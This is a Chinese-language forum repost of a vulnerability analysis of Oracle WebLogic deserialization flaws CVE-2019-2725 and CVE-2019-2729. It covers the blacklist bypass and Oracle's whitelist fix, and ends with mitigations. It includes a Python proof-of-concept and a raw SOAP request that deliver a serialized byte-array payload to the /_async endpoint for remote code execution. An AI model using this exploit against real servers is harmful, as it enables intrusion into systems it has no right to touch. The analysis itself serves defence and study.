

CVE-2019-2729：使用白名单修复Oracle WebLogic中的RCE漏洞

[Pingqin](#) / 2019-06-26 09:24:00 / 浏览数 6078 [安全技术](#) [漏洞分析](#) [顶\(0\)](#) [踩\(0\)](#)

Oracle WebLogic最近在其软件中披露并修补了远程代码执行（RCE）漏洞，其中许多漏洞是由于不安全的反序列化造成的。Oracle在2019年6月18日的带外安全补丁中解决了最新的漏洞CVE-2019-2729。CVE-2019-2729的CVSS评分为9.8，这使其成为一个关键漏洞。此漏洞相对易于利用，但需要Java Development Kit■JDK■1.6。默认情况下，WebLogic版本10.3.6随JDK 1.6一起发布。

CVE-2019-2729基本上是CVE-2019-2725的Bypass。然而，这个安全问题首次出现在2017年4月24日，即CVE-2017-3506。我们仔细研究了CVE-2019-2729，看看这类漏洞是如何进行的，特别是通过列入黑名单或列入白名单，以及为什么它已经成为一个反复出现的安全问题。


CVE-2019-2725和CVE-2019-2729的根本原因

WebLogic服务器中的上下文传播使得在支持的协议中携带应用程序上下文信息成为可能。此信息通过可扩展标记语言序列化Java对象传递。默认情况下，以下URL通过简单对象访问协议（SOAP）请求接受上下文信息：

```
/_async/*  
/wls-wsat/*
```

序列化的XML数据包含在SOAP请求的<work:WorkContext>标记中。WorkContext信息的反序列化在WorkContextXmlInputAdapter类中实现，如图所示。

```
public WorkContextXmlInputAdapter(InputStream is)  
{  
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    try  
    {  
        int next = 0;  
        next = is.read();  
        while (next != -1)  
        {  
            baos.write(next);  
            next = is.read();  
        }  
    }  
    catch (Exception e)  
    {  
        throw new IllegalStateException("Failed to get data from input stream", e);  
    }  
    validate(new ByteArrayInputStream(baos.toByteArray())); //validation  
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray())); //deserialization  
}
```



如上所示，XMLDecoder类用于反序列化上下文信息。应该注意，XMLDecoder不应与不受信任的输入一起使用的类。

正如其他研究工作所证明的那样，它允许对任意类型进行任意方法和构造函数调用。

由于使用XMLDecoder具有一定风险以及作为CVE-2017-3506的修补措施，开发人员已在WorkContextXmlInputAdapter中添加了validate()函数，以在反序列化之

在CVE-2019-2725中，漏洞的validate()函数如图所示。

```

public void startElement(String paramAnonymousString1, String paramAnonymousString2,
String paramAnonymousString3, Attributes paramAnonymousAttributes)
throws SAXException
{
    //no checks for <class> below
    if (paramAnonymousString3.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid element qName:object");
    }
    if (paramAnonymousString3.equalsIgnoreCase("new")) {
        throw new IllegalStateException("Invalid element qName:new");
    }
    if (paramAnonymousString3.equalsIgnoreCase("method")) {
        throw new IllegalStateException("Invalid element qName:method");
    }
    if (paramAnonymousString3.equalsIgnoreCase("void")) {
        for (int i = 0; i < paramAnonymousAttributes.getLength(); i++) {
            if (!"index".equalsIgnoreCase(paramAnonymousAttributes.getQName(i))) {
                throw new IllegalStateException("Invalid attribute for element void:" +
                    paramAnonymousAttributes.getQName(i));
            }
        }
    }
    if (paramAnonymousString3.equalsIgnoreCase("array"))
    {
        //for <array> only class and length attributes are checked
        String str1 = paramAnonymousAttributes.getValue("class");
        if ((str1 != null) && (!str1.equalsIgnoreCase("byte"))) {
            throw new IllegalStateException("The value of class attribute is not valid for array element.");
        }
        String str2 = paramAnonymousAttributes.getValue("length");
        if (str2 != null) {
            try
            {
                int j = Integer.valueOf(str2).intValue();
                if (j >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                    throw new IllegalStateException("Exceed array length limitation");
                }
                this.overallarraylength += j;
                if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                    throw new IllegalStateException("Exceed over all array limitation.");
                }
            }
            catch (NumberFormatException LocalNumberFormatException) {}
        }
    }
}
}

```



如上所示，RCE所需的许多标签被有效列入黑名单。但是，validate()无法考虑<class>标记，这允许攻击者使用任意构造函数参数启动任何类。这可以以多种方式使用以实现任意代码执行。一个示例是启动UnitOfWorkChangeSet对象，该对象接受字节数组作为构造函数参数。

```

public class UnitOfWorkChangeSet
    implements Serializable, oracle.toplink.changesets.UnitOfWorkChangeSet
{
    protected transient Hashtable objectChanges;
    protected transient Hashtable newObjectChangeSets;
    protected transient IdentityHashtable cloneToObjectChangeSet;
    protected transient IdentityHashtable objectChangeSetToUOWClone;
    protected IdentityHashtable aggregateList;
    protected IdentityHashtable allChangeSets;
    protected IdentityHashtable deletedObjects;
    protected boolean hasChanges;
    protected boolean hasForcedChanges;
    private transient Vector sdkAllChangeSets;
    private transient int objectChangeSetCounter = 0;
    private boolean isChangeSetFromOutsideUOW = false;

    public UnitOfWorkChangeSet()
    {
        setHasChanges(false);
    }

    public UnitOfWorkChangeSet(byte[] bytes)
        throws IOException, ClassNotFoundException
    {
        ByteArrayInputStream byteIn = new ByteArrayInputStream(bytes);
        ObjectInputStream objectIn = new ObjectInputStream(byteIn);

        //indiscriminate deserialization here
        this.allChangeSets = ((IdentityHashtable)objectIn.readObject());
        this.deletedObjects = ((IdentityHashtable)objectIn.readObject());
    }
}

```

如图所示，UnitOfWorkChangeSet将在初始化时不加区分地反序列化该字节数组。

例如，具有精心设计的恶意序列化对象的字节数组可用于实现任意代码执行。然后可以使用Python片段生成攻击流量。

```

f = open("payload", "r")
bytes = f.read()
payload = ""

length = str(len(bytes))

index = 0
for byte in bytes:
    int_val = struct.unpack('b', byte)[0]
    payload += "<void index=\"" + str(index) + "\"><byte>" + str(int_val) + "</byte></void>"
    index = index + 1

data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\"> <
  soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"><java><array method=\"forName\"><string> "
  oracle.toplink.internal.sessions.UnitOfWorkChangeSet" + "</string><void><array class='byte' length=\"" + length + "\"><payload>"
  </array></void></array></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>"

request = "POST /_async/AsyncResponseService HTTP/1.1" + CRLF
request += "Host: " + args["host"] + CRLF
request += "Content-Type: text/xml" + CRLF
request += "Connection: Keep-Alive" + CRLF
request += "Content-Length: " + str(len(data)) + CRLF + 2
request += data

remote.send(request)

```

Python概念验证能够使用ysoserial生成的Jdk7u21payload生成攻击流量。

当然，由于此漏洞利用需要<class>标记，Oracle会继续将此标记作为CVE-2019-2725的补丁添加到黑名单中。

```

if (qName.equalsIgnoreCase("class")) {
    throw new IllegalStateException("Invalid element qName: class");
}

```

用于修复CVE-2019-2725的<class>标签的黑名单。

CVE-2019-2729 : CVE-2019-2725的Bypass

另一方面，事实证明CVE-2019-2725的Bypass并不是那么复杂。实际上，对于JDK1.6，使用`<array method = "forName">`标记有效地替换了`<class>`标记的功能。只需用`<array method = "forName">`标签替换`<class>`标签就可以有效地绕过黑名单。

```
POST /_async/AsyncResponseService HTTP/1.1
Host: 172.16.18.10
Content-Type: text/xml
Connection: Keep-Alive
Content-Length: 121430

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/
AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</
wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/
workarea/"><jav&#x3E;<array
method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</
string><void><array class='byte' length='2958'><void index="0"><byte>-84</byte></
void><void index="1"><byte>-19</byte></void><void index="2"><byte>0</byte></void><void
index="3"><byte>5</byte></void><void index="4"><byte>115</byte></void><void
index="5"><byte>114</byte></void><void index="6"><byte>0</byte></void><void
index="7"><byte>23</byte></void><void index="8"><byte>106</byte></void><void
index="9"><byte>97</byte></void><void index="10"><byte>118</byte></void><void
index="11"><byte>97</byte></void><void index="12"><byte>46</byte></void><void
index="13"><byte>117</byte></void><void index="14"><byte>116</byte></void><void
index="15"><byte>105</byte></void><void index="16"><byte>108</byte></void><void
index="17"><byte>46</byte></void><void index="18"><byte>76</byte></void><void
index="19"><byte>105</byte></void><void index="20"><byte>110</byte></void><void
```

<array method = "forName">标记, 绕过<class>标记的黑名单。

在这种情况下更值得我们注意的是CVE-2019-2729修补的方式：Oracle选择使用白名单而不是黑名单。通过新引入的`validateFormat()`函数来实现，其中白名单规则在`WorkContextFormatInfo`中定义。

```
public class WorkContextFormatInfo
{
    public static final Map<String, Map<String, String>> allowedName = new HashMap();

    static
    {
        allowedName.put("string", null);
        allowedName.put("int", null);

        allowedName.put("long", null);

        Map<String, String> allowedAttr = new HashMap();
        allowedAttr.put("class", "byte");
        allowedAttr.put("length", "any");

        allowedName.put("array", allowedAttr);

        allowedAttr = new HashMap();
        allowedAttr.put("index", "any");

        allowedName.put("void", allowedAttr);

        allowedName.put("byte", null);
        allowedName.put("boolean", null);
        allowedName.put("short", null);
        allowedName.put("char", null);
        allowedName.put("float", null);
        allowedName.put("double", null);

        allowedAttr = new HashMap();
        allowedAttr.put("class", "java.beans.XMLDecoder");
        allowedAttr.put("version", "any");

        allowedName.put("java", allowedAttr);
    }
}
```

代码段显示如何使用白名单来修复CVE-2019-2729。

从图中可以看出，白名单仍然允许<array>标记，但只允许包含带有“byte”值的“class”属性或带有任何值的“length”属性。

实践

起初它可能看起来不是那么容易辨认，但通常使用白名单来阻止恶意内容比使用黑名单更有效，特别是在防止可能重新引入安全问题的Bypass时。系统管理员，开发人员和IT/安全团队应始终采用最佳实践和缓解措施，其中包括：

使用Oracle的紧急补丁升级到产品的非易受攻击版本

通过删除war和wls-wsat.war防止访问易受攻击的组件，然后重新启动WebLogic服务（阻止访问易受攻击的URL）

仅限受影响的通信端口访问受信任的主机

通过入侵防御系统主动监控，检测和阻止恶意流量

添加多层安全机制，例如虚拟补丁，这些机制优先利用已知，未知和未公开的漏洞；和应用程序控制，可防止未经授权或可疑的应用程序执行

趋势科技Deep Security™和Vulnerability Protection解决方案通过以下深度包检测规则保护系统和用户。

■■■■■■■■■■<https://blog.trendmicro.com/trendlabs-security-intelligence/using-whitelisting-to-remediate-an-rce-vulnerability>

点击收藏 | 0 关注 | 1

上一篇：[威胁快报 挖矿团伙8220进化，r...](#) 下一篇：[栈溢出入门之CVE-2012-01...](#)

1. 0 条回复

- [动动手指，沙发就是你的了！](#)

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)